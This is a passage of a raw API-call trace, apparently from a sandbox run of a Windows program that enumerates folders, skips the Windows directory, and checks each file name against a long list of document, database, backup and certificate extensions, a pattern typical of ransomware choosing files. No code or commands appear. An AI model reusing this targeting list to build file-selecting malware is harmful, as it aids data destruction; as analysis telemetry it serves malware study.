lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".exr") returned 4 [0094.720] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".f4v") returned 4 [0094.720] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".fido") returned 5 [0094.720] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0094.720] lstrlenW (lpString=".flm") returned 4 [0094.720] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".flv") returned 4 [0094.720] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".frm") returned 4 [0094.720] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".fxg") returned 4 [0094.720] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".geo") returned 4 [0094.720] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".gif") returned 4 [0094.720] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".grs") returned 4 [0094.720] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0094.720] lstrlenW (lpString=".gz") returned 3 [0094.720] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0094.720] lstrlenW (lpString=".h") returned 2 [0094.720] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0094.721] lstrlenW (lpString=".hdr") returned 4 [0094.721] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".hpp") returned 4 [0094.721] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".hta") returned 4 [0094.721] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".htc") returned 4 [0094.721] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".htm") returned 4 [0094.721] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".html") returned 5 [0094.721] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0094.721] lstrlenW (lpString=".icb") returned 4 [0094.721] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".ics") returned 4 [0094.721] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".iff") returned 4 [0094.721] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".inc") returned 4 [0094.721] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".indd") returned 5 [0094.721] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0094.721] lstrlenW (lpString=".ini") returned 4 [0094.721] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0094.721] lstrlenW (lpString=".iqy") returned 4 [0094.722] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".j2c") returned 4 [0094.722] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".j2k") returned 4 [0094.722] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".java") returned 5 [0094.722] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0094.722] lstrlenW (lpString=".jp2") returned 4 [0094.722] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".jpc") returned 4 [0094.722] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".jpe") returned 4 [0094.722] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".jpeg") returned 5 [0094.722] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0094.722] lstrlenW (lpString=".jpf") returned 4 [0094.722] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".jpg") returned 4 [0094.722] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".jpx") returned 4 [0094.722] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".js") returned 3 [0094.722] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0094.722] lstrlenW (lpString=".jsf") returned 4 [0094.722] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".json") returned 5 [0094.722] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0094.722] lstrlenW (lpString=".jsp") returned 4 [0094.722] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0094.722] lstrlenW (lpString=".kdc") returned 4 [0094.723] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".kmz") returned 4 [0094.723] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".kwm") returned 4 [0094.723] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".lasso") returned 6 [0094.723] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0094.723] lstrlenW (lpString=".lbi") returned 4 [0094.723] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".lgf") returned 4 [0094.723] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".lgp") returned 4 [0094.723] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".log") returned 4 [0094.723] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".m1v") returned 4 [0094.723] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".m4a") returned 4 [0094.723] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".m4v") returned 4 [0094.723] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".max") returned 4 [0094.723] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".md") returned 3 [0094.723] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0094.723] lstrlenW (lpString=".mda") returned 4 [0094.723] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0094.723] lstrlenW (lpString=".mdb") returned 4 [0094.724] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mde") returned 4 [0094.724] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mdf") returned 4 [0094.724] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mdw") returned 4 [0094.724] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mef") returned 4 [0094.724] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mft") returned 4 [0094.724] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mfw") returned 4 [0094.724] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mht") returned 4 [0094.724] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mhtml") returned 6 [0094.724] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0094.724] lstrlenW (lpString=".mka") returned 4 [0094.724] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mkidx") returned 6 [0094.724] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0094.724] lstrlenW (lpString=".mkv") returned 4 [0094.724] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mos") returned 4 [0094.724] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mov") returned 4 [0094.724] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0094.724] lstrlenW (lpString=".mp3") returned 4 [0094.724] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".mp4") returned 4 [0094.725] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".mpeg") returned 5 [0094.725] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0094.725] lstrlenW (lpString=".mpg") returned 4 [0094.725] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".mpv") returned 4 [0094.725] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".mrw") returned 4 [0094.725] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".msg") returned 4 [0094.725] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".mxl") returned 4 [0094.725] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".myd") returned 4 [0094.725] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".myi") returned 4 [0094.725] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".nef") returned 4 [0094.725] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".nrw") returned 4 [0094.725] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".obj") returned 4 [0094.725] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".odb") returned 4 [0094.725] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0094.725] lstrlenW (lpString=".odc") returned 4 [0094.725] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".odm") returned 4 [0094.726] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".odp") returned 4 [0094.726] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".ods") returned 4 [0094.726] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".oft") returned 4 [0094.726] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".one") returned 4 [0094.726] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".onepkg") returned 7 [0094.726] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0094.726] lstrlenW (lpString=".onetoc2") returned 8 [0094.726] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0094.726] lstrlenW (lpString=".opt") returned 4 [0094.726] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".oqy") returned 4 [0094.726] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".orf") returned 4 [0094.726] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".p12") returned 4 [0094.726] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".p7b") returned 4 [0094.726] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".p7c") returned 4 [0094.726] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".pam") returned 4 [0094.726] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0094.726] lstrlenW (lpString=".pbm") returned 4 [0094.727] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pct") returned 4 [0094.727] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pcx") returned 4 [0094.727] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pdd") returned 4 [0094.727] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pdf") returned 4 [0094.727] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pdp") returned 4 [0094.727] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pef") returned 4 [0094.727] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pem") returned 4 [0094.727] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pff") returned 4 [0094.727] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pfm") returned 4 [0094.727] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pfx") returned 4 [0094.727] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".pgm") returned 4 [0094.727] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".php") returned 4 [0094.727] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0094.727] lstrlenW (lpString=".php3") returned 5 [0094.727] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0094.727] lstrlenW (lpString=".php4") returned 5 [0094.728] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".php5") returned 5 [0094.728] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".phtml") returned 6 [0094.728] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0094.728] lstrlenW (lpString=".pict") returned 5 [0094.728] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".pl") returned 3 [0094.728] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0094.728] lstrlenW (lpString=".pls") returned 4 [0094.728] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0094.728] lstrlenW (lpString=".pm") returned 3 [0094.728] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0094.728] lstrlenW (lpString=".png") returned 4 [0094.728] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0094.728] lstrlenW (lpString=".pnm") returned 4 [0094.728] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0094.728] lstrlenW (lpString=".pot") returned 4 [0094.728] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0094.728] lstrlenW (lpString=".potm") returned 5 [0094.728] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".potx") returned 5 [0094.728] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".ppa") returned 4 [0094.728] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0094.728] lstrlenW (lpString=".ppam") returned 5 [0094.728] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0094.728] lstrlenW (lpString=".ppm") returned 4 [0094.728] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pps") returned 4 [0094.729] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".ppsm") returned 5 [0094.729] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0094.729] lstrlenW (lpString=".ppt") returned 4 [0094.729] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pptm") returned 5 [0094.729] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0094.729] lstrlenW (lpString=".pptx") returned 5 [0094.729] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0094.729] lstrlenW (lpString=".prn") returned 4 [0094.729] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".ps") returned 3 [0094.729] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0094.729] lstrlenW (lpString=".psb") returned 4 [0094.729] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".psd") returned 4 [0094.729] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pst") returned 4 [0094.729] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".ptx") returned 4 [0094.729] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pub") returned 4 [0094.729] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pwm") returned 4 [0094.729] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0094.729] lstrlenW (lpString=".pxr") returned 4 [0094.729] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0094.730] lstrlenW (lpString=".py") returned 3 [0094.730] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0094.730] lstrlenW (lpString=".qt") returned 3 [0094.730] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0094.730] lstrlenW (lpString=".r3d") returned 4 [0094.730] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0094.730] lstrlenW (lpString=".raf") returned 4 [0094.730] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0094.730] lstrlenW (lpString=".rar") returned 4 [0094.730] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0094.730] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0094.730] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0094.731] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0096.516] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0096.517] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0096.517] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0096.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0096.528] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1030") returned 1 [0096.528] lstrlenW (lpString="1030") returned 4 [0096.528] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1030") returned 1 [0096.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0096.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0096.528] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0096.529] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.529] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.529] lstrlenW (lpString="eula.rtf") returned 8 [0096.529] lstrlenW (lpString=".1cd") returned 4 [0096.529] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.529] lstrlenW (lpString=".3ds") returned 4 [0096.529] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.529] lstrlenW (lpString=".3fr") returned 4 [0096.529] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.529] lstrlenW (lpString=".3g2") returned 4 [0096.529] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.529] lstrlenW (lpString=".3gp") returned 4 [0096.530] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".7z") returned 3 [0096.530] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.530] lstrlenW (lpString=".accda") returned 6 [0096.530] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".accdb") returned 6 [0096.530] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".accdc") returned 6 [0096.530] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".accde") returned 6 [0096.530] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".accdt") returned 6 [0096.530] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".accdw") returned 6 [0096.530] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.530] lstrlenW (lpString=".adb") returned 4 [0096.530] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".adp") returned 4 [0096.530] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai") returned 3 [0096.530] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.530] lstrlenW (lpString=".ai3") returned 4 [0096.530] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai4") returned 4 [0096.530] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai5") returned 4 [0096.530] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai6") returned 4 [0096.530] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai7") returned 4 [0096.530] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".ai8") returned 4 [0096.530] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.530] lstrlenW (lpString=".anim") returned 5 [0096.531] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.531] lstrlenW (lpString=".arw") returned 4 [0096.531] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".as") returned 3 [0096.531] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.531] lstrlenW (lpString=".asa") returned 4 [0096.531] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".asc") returned 4 [0096.531] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".ascx") returned 5 [0096.531] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.531] lstrlenW (lpString=".asm") returned 4 [0096.531] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".asmx") returned 5 [0096.531] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.531] lstrlenW (lpString=".asp") returned 4 [0096.531] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".aspx") returned 5 [0096.531] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.531] lstrlenW (lpString=".asr") returned 4 [0096.531] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".asx") returned 4 [0096.531] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".avi") returned 4 [0096.531] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".avs") returned 4 [0096.531] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".backup") returned 7 [0096.531] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.531] lstrlenW (lpString=".bak") returned 4 [0096.531] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.531] lstrlenW (lpString=".bay") returned 4 [0096.531] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".bd") returned 3 [0096.532] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.532] lstrlenW (lpString=".bin") returned 4 [0096.532] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".bmp") returned 4 [0096.532] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".bz2") returned 4 [0096.532] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".c") returned 2 [0096.532] 